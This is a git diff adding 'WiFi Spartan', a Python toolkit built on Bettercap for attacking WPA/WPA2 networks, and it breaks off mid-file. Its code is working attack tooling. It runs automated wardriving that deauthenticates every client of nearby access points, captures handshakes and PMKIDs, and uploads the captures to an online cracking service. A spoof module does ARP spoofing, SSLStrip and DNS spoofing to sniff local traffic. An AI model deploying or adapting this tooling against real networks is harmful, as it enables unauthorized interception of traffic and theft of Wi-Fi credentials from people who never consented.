ze;?Uy+u+ww$_fYf@jPxjyiRQ^A8^455)w8uj58)3>WZ1P0q%YdJ0Xh*7GJv&{~mhP znP2;`y!0LS|0yQtgg#Ag8J1qt8@g+_dd+AV#p?f++MGK{5@bLMha8pCc=$3I2T5gY zWS*)6l`tH_qIqQUOjr}UGz#GWqm_|9$E?e&i*2=Im8hLek#-18Mo0xaPf;2)4hF-J z$6bOQxGZQWgwET=r4qr^(U}^MUo^ew$@#-fep&KYA=- zA&Ws)2PG0o-+T!fd|4XDLxog+RdozG=vUf;N8O{gS)!FJM_SLKM7*wx1%mDLC~sp{ zP9WEGlDublx~Dhs*8mk3OQjYr%%9sL!FCQ^iAE1VB_@2KkB!qkp-%wSL-R}rY#$Op zi5r=DWbn5ELJMucn1DGQu`%)xlC=*Vz_X&{U9NF4vNj*7(#Y}JV`zi_Yt~!pjCn7~ zH@a+r`1kbYh`#-+u{E+-ZB^s{z(^hS#;R8G?D3aqEn?(Lj5J>z0a;XEfa;Z&m$sx+ zMhDUqQLnhHRN74wxWdkyL#4&wRf?J#1m~u}Fsaq*CwX2h%(}Dq89|f^LsrjMSCg#E z<36@5e&pRL0~hAc$8#U_FAkF2SCPy+(%L^s)8hJkCND6W=< z`oG)E?Uh2@Dw1N0JrHGStDj#V!(mMHGq6Vp|IN%#m2Szm?UYsmz#xF<$qi7IlSW#rQtZ;hl4T8EIcV zAD-BuB`zfBP}KKTROWkw!qp)~tZ7qN(9 zpS-wsSNVwPDgCI2Xge2E?7!nr>8Nxhc z@4=vK0+?KcpsZ<6K&~dqN*6>yIiGtcPLYpd5B_Vak%QsCp^QQcPClRCpiD6bslOx= zdRs{^1I3gy01BcIL+bnd7L^MWYVi2@B+fb zgb<5zI-Le0@$@&0mf0{|#37#HfK)&)Cg=q{4fH6VXx7l%P~PzkP}1yyFxzmeU8P43 zg>7Ldy)f(#*hxzDS{NRmL}@vq-W+_Dj(jc*x;@{b?A)qVjp&gRcai7MNy<1{!*$)J zyXan3BXc}a=uSbKqPTyeBBrr4GkYfL1`5_9XrE~uaNsKS3W7}q_QQed$GVv z6fe`FasxRY?nUK5h~bTs1l-`{f(=fDDr3%z#q-BW=Xumm@sc5HZC{aIezG^@1A4ql zds_jaa`)aJwjSNTFP)v;yAK}is$ff*v#j0T{vf>b;KBX74<2vvd)Pu+w4b!dH7YHX z8YLCV>b=u$Jfw%10+Tcbxpa<_G#&P21#$4OmoRA#kvVzN%c4|Pc0PD-_uj(~Wox@U z)BVBV=wx`0^8uGue42>1Bdv({a{drs;J>4cZW7oL{XaqK@dd+CE|vb_!Nq5olT*;I z8EY_O3x>RmM4?_&zh)Ww8Vs8EFy3B4oKU`$IZ-F4@H(hZyE=IvyOn;QqCPnvI1x#j zmqb7zg9-zrI|XW9a=;@R_=GaDVjfWzP)1Ike?-|LWn|~-Fc&T}M}c%VOF-R(^DZw{ SLom?9g$S(|{&3CKpZ*I+rlCXt literal 0 HcmV?d00001 diff --git a/spartan/__pycache__/capture.cpython-37.pyc b/spartan/__pycache__/capture.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..0bc4ea3dad5d8fcf8fe6f5c16480160397115147 GIT binary patch literal 3939 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 BjhO%d literal 0 HcmV?d00001 diff --git a/spartan/__pycache__/scan.cpython-37.pyc b/spartan/__pycache__/scan.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..12132c4eae38c048d121aab0a252868605f41b58 GIT binary patch literal 1756 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 NYyP}H>o5DW{{_+$m>2*6 literal 0 HcmV?d00001 diff --git a/spartan/__pycache__/utils.cpython-37.pyc b/spartan/__pycache__/utils.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..e08ea5a1cfc02b036352d94e7b2a240c2667cafc GIT binary patch literal 748 zcmZ`$&2AGh5cc1uE^VlU)PfK%u!m+7E>smlZ4oz=1640MP_1IqIND?vkGH5%xN+@; z8;`(4@FIKV#4B)O#=D__#H>8Co*94hefC+ue~+PkF223}!WsKcn~e$lIl%=(bcPvT zut^*Fgc~stMjG{rO{7Uo52G?$Mq^A2KWFLo4?M-jtNmFB)p3@Mo<184@f#f<4Ua}s z92Sj+B)DGUf+y$#oAV$Hf5?njGskJjt^CN>1e%OjyIEej3@m^vmyMh*Oez{xgY}K7 zasb-R0ZS^c!z`7J_V#^kApq7(2#r2FJ%4q1@#Zyl$^~3`jZ?oezk}iDNp^uqkmdex zo?kob2Sr)g)zaBeW?^Q*LH5DDbB9pnKIF@66YJm#7*sbAtw&-MI>sOInE6XDRifU< z_;aUs%}BG6x1v+4#;YW%O@)`(>giz0J;A5aZ((TUl?{HI62j9{`aU_*(z@MEj*1

Y&1cWJK^2saRM;yt$VsQw3DR7*k|{d`fHy09-u5|CugwNOGUt$qP|e31SC literal 0 HcmV?d00001 diff --git a/spartan/automata.py b/spartan/automata.py new file mode 100644 index 0000000..41f1563 --- /dev/null +++ b/spartan/automata.py @@ -0,0 +1,162 @@ +from spartan import scan +from spartan import capture +from spartan.smart import state, learn +from spartan.utils import post, get, delete_events + +import requests +import json +import subprocess +import os +import time +import signal +import yaml +import _thread + +API_COOLDOWN = 5 + +class Agent(learn.Trainer): + def __init__(self, parameters): + self.parameters = parameters + self.current_channel = 0 + self.access_points = [] + self.ap_whitelist = [] + + learn.Trainer.__init__(self, parameters) # Train the AI and update parameters + self.state = state.State(parameters) # Wireless spectrum state + + # Define a unique .pcap for the wardrive session + self.session_pcap = './key_material/wardrive_session_' + \ + time.strftime("%Y%m%d%H%M%S", time.gmtime()) + '.pcap' + + # Reset parameters + def reset_parameters(self): + post('set wifi.rssi.min ' + str(self.parameters['min_rssi'])) + post('set wifi.sta.ttl ' + str(self.parameters['station_ttl'])) + post('set wifi.ap.ttl ' + str(self.parameters['ap_ttl'])) + + post('set wifi.handshakes.file ' + self.session_pcap) + + # Return a dictionary with APs per channel sorted by populated + def get_aps_per_channel(self): + self.access_points.sort(key=lambda ap: ap['channel']) + + aps_per_channel = {} + for ap in self.access_points: + if ap['hostname'] not in self.ap_whitelist: + channel = ap['channel'] + + if channel not in aps_per_channel: + aps_per_channel[channel] = [ap] + else: + aps_per_channel[channel].append(ap) + + return sorted(aps_per_channel.items(), key=lambda kv: len(kv[1]), reverse=True) + + # Channel hopping + def set_channel(self, channel): + if self.state.did_deauth: + wait = self.parameters['hop_recon_time'] + else: + wait = self.parameters['min_recon_time'] + + if channel != self.current_channel: + time.sleep(wait) # Wait for the loot + post('wifi.recon.channel ' + str(channel)) + print('\nHOP TO CHANNEL ' + str(channel)) + self.state.track(hop=True) + self.current_channel = channel + self.state.did_deauth = False # Did deauth in the previous channel + + # Check if handshakes has been captured successfully or missed APs + def track_state_events(self): + handshake_json = [] + + events = get('events') + for event in json.loads(events.text): + if event['tag'] == 'wifi.client.handshake': + handshake_json.append(event['data']) + if event['tag'] == 'wifi.ap.lost': + self.state.track(miss=True) + if event['tag'] == 'wifi.ap.new': + self.state.track(new=True) + + if handshake_json: + self.state.track(handshake=True, increment=len(handshake_json)) + print('\nCaptured handshakes in this state:') + for handshake in handshake_json: + if (handshake['full']): + print('Captured full handshake of client ' + handshake['station']) + elif (handshake['half']): + print('Captured half handshake of client ' + handshake['station']) + + delete_events() + + # Automated function to wardrive + def wardrive(self): + with open('wifi_whitelist.txt') as f: + self.ap_whitelist = f.readlines() + self.ap_whitelist = [ap.strip() for ap in self.ap_whitelist] + + print('APs that are not going to be attacked: '+ str(self.ap_whitelist)) + + # Start the model training and learning in another thread + _thread.start_new_thread(self.train, ()) + + post('wifi.recon on') + + while True: + recon_time = self.parameters['recon_time'] + + self.current_channel = 0 + post('wifi.recon.channel clear') + post('wifi.assoc all') + time.sleep(recon_time) + + # JSON with the APs information + aps_request = get('session/wifi') + self.access_points = json.loads(aps_request.text)['aps'] + + channels = self.get_aps_per_channel() + + for channel, aps in channels: + self.set_channel(channel) + + for ap in aps: + print('\nAccess Point: ' + ap['hostname']) + post('wifi.assoc ' + ap['mac']) + + # Deauth all clients of the AP + n_clients = len(ap['clients']) + if n_clients > 0: + for client in ap['clients']: + print('Deauth attack against client: ' + client['mac']) + post('wifi.deauth ' + client['mac']) + self.state.track(deauth=True) + + self.track_state_events() + self.state.next_state() + +# Start the smart wardrive module +def start(args): + #Deploy the Bettercap API + bettercap = subprocess.Popen(['bettercap', '-caplet', 'http-ui'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) + time.sleep(API_COOLDOWN) # Time needed to start requesting data without errors + + try: + # Load agent parameters + with open('parameters.yaml') as f: + parameters = yaml.load(f) + + agent = Agent(parameters=parameters) + agent.reset_parameters() + agent.wardrive() + + except Exception as e: + print(e) + + # Stop the Bettercap API + finally: + try: + os.killpg(os.getpgid(bettercap.pid), signal.SIGTERM) + except ProcessLookupError: + exit() diff --git a/spartan/capture.py b/spartan/capture.py new file mode 100644 index 0000000..e1d557e --- /dev/null +++ b/spartan/capture.py @@ -0,0 +1,152 @@ +import json +import subprocess +import os +import time +import signal + +from spartan import scan +from spartan import crack +from spartan.utils import post, get, delete_events + +API_COOLDOWN = 5 + +# Print information regarding the captured handshake +def get_handshake_info(handshake_file): + handshake_json = [] + + events = get('events') + + for event in json.loads(events.text): + if event['tag'] == 'wifi.client.handshake': + handshake_json.append(event['data']) + + + # Print information about the generated capture + if handshake_json: + print('\n' + handshake_file + ' capture summary:') + for handshake in handshake_json: + if handshake_file == handshake['file'].split('/')[-1]: + if (handshake['full']): + print('Captured full handshake of client ' + handshake['station']) + elif (handshake['half']): + print('Captured half handshake of client ' + handshake['station']) + + delete_events() + +# Launch a WiFi deauthentication attack in order to capture handshackes +def deauth_attack(bssid): + # Generate an unique handshake file name and set the path to be stored + handshake_file = './key_material/ ' + str(bssid) + '_' + time.strftime("%Y%m%d%H%M%S", time.gmtime()) + '.pcap' + delete_events() + post('set wifi.handshakes.file ' + handshake_file) + + print('Launching a deauthentication attack against: ' + str(bssid)) + + attempts = 0 + max_attempts = 10 + while not(os.path.isfile(handshake_file) or attempts > max_attempts): + print('Access point clients are being deauthenticated...') + post('wifi.deauth ' + bssid) + attempts += 1 + time.sleep(API_COOLDOWN) + + # Check if the captured .pcap is valid + time.sleep(API_COOLDOWN) + if(os.path.isfile(handshake_file)): + if(crack.pcap_to_hccapx(handshake_file)): + print('Handshake of ' + str(bssid) + ' captured successfully.') + get_handshake_info(handshake_file.split('/')[-1]) + + # Captured file does not have enough data + else: + print('No handshake has been captured with success.') + elif attempts > max_attempts: + print('Maximum number of attempts reached, no handshake has been captured with success.') + +# Check if the given BSSID exists and if it has clients +def check_bssid(bssid): + aps_json = scan.request_aps() + + # Iterate through all the access points searching for the given BSSID + bssid_exists = False + for ap in aps_json: + if ap['mac'] == bssid: + bssid_exists = True + if len(ap['clients']) > 0: + print('\nBSSID exists and has clients connected.') + return True + else: + print('\nBSSID exists but does not have any client connected at the moment.') + return False + if not bssid_exists: + print('\nBSSID does not exist.') + exit() + +# PMKID client-less attack vector +def pmkid_attack(): + print('\nLaunching a PMKID client-less attack to all visible access points.') + + # Generate a new .pcap file if new PMKID keys are retrieved + pmkid_file = './key_material/pmkid_keys_' + time.strftime("%Y%m%d%H%M%S", time.gmtime()) + '.pcap' + post('set wifi.handshakes.file ' + pmkid_file) + + post('wifi.recon on') + post('wifi.assoc all') + time.sleep(API_COOLDOWN*2) # Time needed to associate all APs + + if(os.path.isfile(pmkid_file)): + if(crack.pcap_to_hccapx(pmkid_file)): + print('PMKID keys captured: ' + pmkid_file.split('/')[-1]) + #exit() + else: + print('No PMKID key were captured. Not all access points are vulnerable to this attack.') + #exit() + if not(os.path.isfile(pmkid_file)): + print('No PMKID key were captured. Not all access points are vulnerable to this attack.') + #exit() + +# Start capturing key material given a BSSID +def start_deauth(args): + #Deploy the Bettercap API + bettercap = subprocess.Popen(['bettercap', '-caplet', 'http-ui'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) + time.sleep(API_COOLDOWN) # Time needed to start requesting data without errors + + try: + has_clients = check_bssid(args.bssid) + + # Start a WiFi deauthentication attack + if has_clients: + deauth_attack(args.bssid) + + else: + print('To deauthenticate an access point we need clients.') + exit() + + except Exception as e: + print(e) + + # Stop the Bettercap API + finally: + try: + os.killpg(os.getpgid(bettercap.pid), signal.SIGTERM) + except ProcessLookupError: + exit() + +# Start a PMKID client-less attack to all access points +def start_assoc(args): + #Deploy the Bettercap API + bettercap = subprocess.Popen(['bettercap', '-caplet', 'http-ui'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) + time.sleep(API_COOLDOWN) # Time needed to start requesting data without errors + + try: + pmkid_attack() + + except Exception as e: + print(e) + + # Stop the Bettercap API + finally: + try: + os.killpg(os.getpgid(bettercap.pid), signal.SIGTERM) + except ProcessLookupError: + exit() diff --git a/spartan/crack.py b/spartan/crack.py new file mode 100644 index 0000000..556e434 --- /dev/null +++ b/spartan/crack.py @@ -0,0 +1,51 @@ +import os +import json +import requests + +OHC_URL = 'https://api.onlinehashcrack.com' + +# Convert the capture file to Hashcat WPA format +def pcap_to_hccapx(pcap_path): + pcap_file = pcap_path.split('/')[-1] + hccapx_file = pcap_file.split('.')[0] + '.hccapx' + hccapx_path = 'key_material/' + hccapx_file + + # Generate a .hccapx for the 4-way handshake + if(pcap_file.split('_')[0] == 'deauth'): + hcxpcaptool_command = 'hcxpcaptool -o ' + hccapx_path + ' ' + pcap_path + os.system(hcxpcaptool_command + ' > /dev/null') + + # Generate a .hccapx for the PMKID key + elif(pcap_file.split('_')[0] == 'pmkid'): + hcxpcaptool_command = 'hcxpcaptool -k ' + hccapx_path + ' ' + pcap_path + os.system(hcxpcaptool_command + ' > /dev/null') + + # Captured file has key material + if (os.path.isfile(hccapx_path)): + print('\nSuccess! Captured key material.') + print('Converted the captured file into Hashcat format: ' + hccapx_file) + return True + + else: + return False + +# Call the OnlineHashCrack API +def crack(file, email): + data = {'email': email} + payload = {'file': open(file, 'rb')} + + try: + result = requests.post(OHC_URL, data=data, files=payload) + print(result.text) + print('Your hash is being cracked, check your email for updates on the progress...') + exit() + + except requests.exceptions.RequestException as e: + print('Exception while updating the hashes.') + +def start(args): + if not args.email: + print('Specify a valid email to send resutls.') + exit() + + crack(args.file, args.email) diff --git a/spartan/scan.py b/spartan/scan.py new file mode 100644 index 0000000..0ab53a8 --- /dev/null +++ b/spartan/scan.py @@ -0,0 +1,70 @@ +import requests +import json +import subprocess +import os +import time +import signal +import columnar + +from spartan.utils import post, get + +BASE_URL = 'http://127.0.0.1:8081' +API_SETUP = 1 +API_COOLDOWN = 5 + +# Generate a JSON dump with all access points info +def request_aps(): + # Start the Bettercap WiFi module + post('wifi.recon on') + + # JSON with the APs information + aps_request = get('session/wifi') + aps_json = json.loads(aps_request.text)['aps'] + + return aps_json + +# Generate a table with the available access points +def show_aps(args): + print('\nScanning the available wireless spectrum...') + aps_json = request_aps() + + # Generate a columnar table to show the APs info + headers = ['rssi', 'essid', 'bssid', 'clients', 'encryption', 'auth', 'cipher'] + ap_data = [] + for ap in aps_json: + n_clients = len(ap['clients']) + if not args.clients: + ap_data.append([str(ap['rssi']) + ' dBm', ap['hostname'], ap['mac'], n_clients, ap['encryption'], ap['authentication'], ap['cipher']]) + elif args.clients and (n_clients > 0): + ap_data.append([str(ap['rssi']) + ' dBm', ap['hostname'], ap['mac'], n_clients, ap['encryption'], ap['authentication'], ap['cipher']]) + + if ap_data: + ap_data.sort() + ap_table = columnar.columnar(ap_data, headers, no_borders=True) + print(ap_table) + + +# Start scanning the available wireless spectrum +def start(args): + # Deploy the Bettercap API + bettercap = subprocess.Popen(['bettercap', '-caplet', 'http-ui'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) + time.sleep(API_SETUP) # Time needed to start requesting data without errors + + try: + if args.refresh: + # Refresh the scanner indefinitely + while(True): + show_aps(args) + time.sleep(API_COOLDOWN) + else: + show_aps(args) + + except Exception as e: + print(e) + + # Stop the Bettercap API + finally: + try: + os.killpg(os.getpgid(bettercap.pid), signal.SIGTERM) + except ProcessLookupError: + exit() diff --git a/spartan/spoof.py b/spartan/spoof.py new file mode 100644 index 0000000..563b16b --- /dev/null +++ b/spartan/spoof.py @@ -0,0 +1,153 @@ +import json +import subprocess +import os +import time +import signal +import columnar +import re + +from spartan.utils import post, get, delete_events + +API_SETUP = 3 +API_COOLDOWN = 3 + +# Get a JSON dump for all the clients of the local network +def get_net_json(): + # Start the Bettercap Ethernet module + post('net.probe on') + + time.sleep(API_COOLDOWN) + + net_request = get('session/lan') + net_json = json.loads(net_request.text)['hosts'] + + return net_json + +# Scan the local network for clients +def scan_net(): + print('\nScanning local network hosts...') + + net_json = get_net_json() + + if net_json: + # Show the network hosts as a column + net_data = [] + for host in net_json: + net_data.append([host['ipv4'], host['mac'], host['hostname'], host['vendor']]) + + headers = ['ip', 'mac', 'hostname', 'vendor'] + net_data.sort() + net_table = columnar.columnar(net_data, headers, no_borders=True) + print(net_table) + else: + print('Error scanning the network, check Internet connectivity.') + exit() + +# Get a list of the API event stream and display useful info +def spoof_summary(): + spoof_events = get('events') + spoof_json = json.loads(spoof_events.text) + + show_events = ['net.sniff.dns', 'net.sniff.https', 'net.sniff.http.request', 'net.sniff.mdns'] + + for event in spoof_json: + if event['tag'] in show_events: + message = event['data']['message'] + # Remove the ANSI escape sequences from a string + reaesc = re.compile(r'\x1b[^m]*m') + message = reaesc.sub('', message) + print(message) + + delete_events() + +# Full-duplex ARP spoofing to all hosts +def arp_spoof(args): + post('net.probe on') + + if args.target == '*': + print('\nARP Spoofing all network clients...') + else: + print('\nARP Spoofing ' + args.target + '...') + + post('set arp.spoof.internal true') + #post('set arp.spoof.fullduplex true') + + if args.target == '*': + post('set arp.spoof.targets 192.168.1.*') + else: + post('set arp.spoof.targets ' + args.target) + + # Generate a .pcap file where all the traffic is going to be logged + pcap_file = './key_material/arp_spoof_' + time.strftime("%Y%m%d%H%M%S", time.gmtime()) + '.pcap' + print('All traffic will be logged at: ' + pcap_file) + post('set net.sniff.output ' + pcap_file) + post('set net.sniff.local true') + + time.sleep(API_COOLDOWN) + + # Start HTTP and HTTPS proxies with SSLStrip deployed to attempt to decrypt HTTPS traffic + if args.proxies: + print('Deploying HTTP and HTTPS proxies with SSLStrip...') + post('set http.proxy.sslstrip true') + post('set https.proxy.sslstrip true') + + post('http.proxy on') + post('https.proxy on') + + if args.dns: + print('Spoofing DNS queries (redirections defined in dns.spoof.hosts file)') + post('set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on') + + # Start the ARP Spoof + sniff the network + post('arp.spoof on') + post('net.sniff on') + + print('\nSniffing traffic...') + while(True): + time.sleep(API_COOLDOWN) + spoof_summary() + +# Start the local network scanner +def start_scan(args): + bettercap = subprocess.Popen(['bettercap', '-caplet', 'http-ui'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) + time.sleep(API_SETUP) + + try: + scan_net() + + except Exception as e: + print(e) + + finally: + try: + os.killpg(os.getpgid(bettercap.pid), signal.SIGTERM) + except ProcessLookupError: + exit() + +# Start the MiTM Attack vector +def start_spy(args): + bettercap = subprocess.Popen(['bettercap', '-caplet', 'http-ui'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) + time.sleep(API_SETUP) + + try: + net_json = get_net_json() + client_exists = False + for host in net_json: + if host['ipv4'] == args.target: + client_exists = True + + if client_exists: + arp_spoof(args) + + else: + print('\nClient does not exist.') + exit() + + except Exception as e: + print(e) + + finally: + try: + os.killpg(os.getpgid(bettercap.pid), signal.SIGTERM) + except Exception as e: + exit() diff --git a/spartan/utils.py b/spartan/utils.py new file mode 100644 index 0000000..da3ddc6 --- /dev/null +++ b/spartan/utils.py @@ -0,0 +1,16 @@ +import requests +import sys + +BASE_URL = 'http://127.0.0.1:8081' + +def post(msg): + post = requests.post(BASE_URL + '/api/session', json={'cmd': msg}, auth=('user', 'pass')) + return post + +def get(msg): + get = requests.get(BASE_URL + '/api/' + msg, auth=('user', 'pass')) + return get + +def delete_events(): + delete = requests.delete(BASE_URL + '/api/events', auth=('user', 'pass')) + return delete diff --git a/wifi_spartan.py b/wifi_spartan.py new file mode 100644 index 0000000..30088a2 --- /dev/null +++ b/wifi_spartan.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 + +from spartan import scan +from spartan import capture +from spartan import crack +from spartan import automata +from spartan import spoof + +import argparse + +# Main function +def start(): + # Generate the arguments/options parser for the toolkit + parser = argparse.ArgumentParser(description='Smart pentest toolkit for modern WPA/WPA2 networks.') + subparsers = parser.add_subparsers(help='Available commands') + + # Option for the scan module + parser_scan = subparsers.add_parser('scan', help='Scan the available 802.11 wireless spectrum') + parser_scan.add_argument('-r', '--refresh', action='store_true', help='Update the scanner every few seconds') + parser_scan.add_argument('-c', '--clients', action='store_true', help='Only show 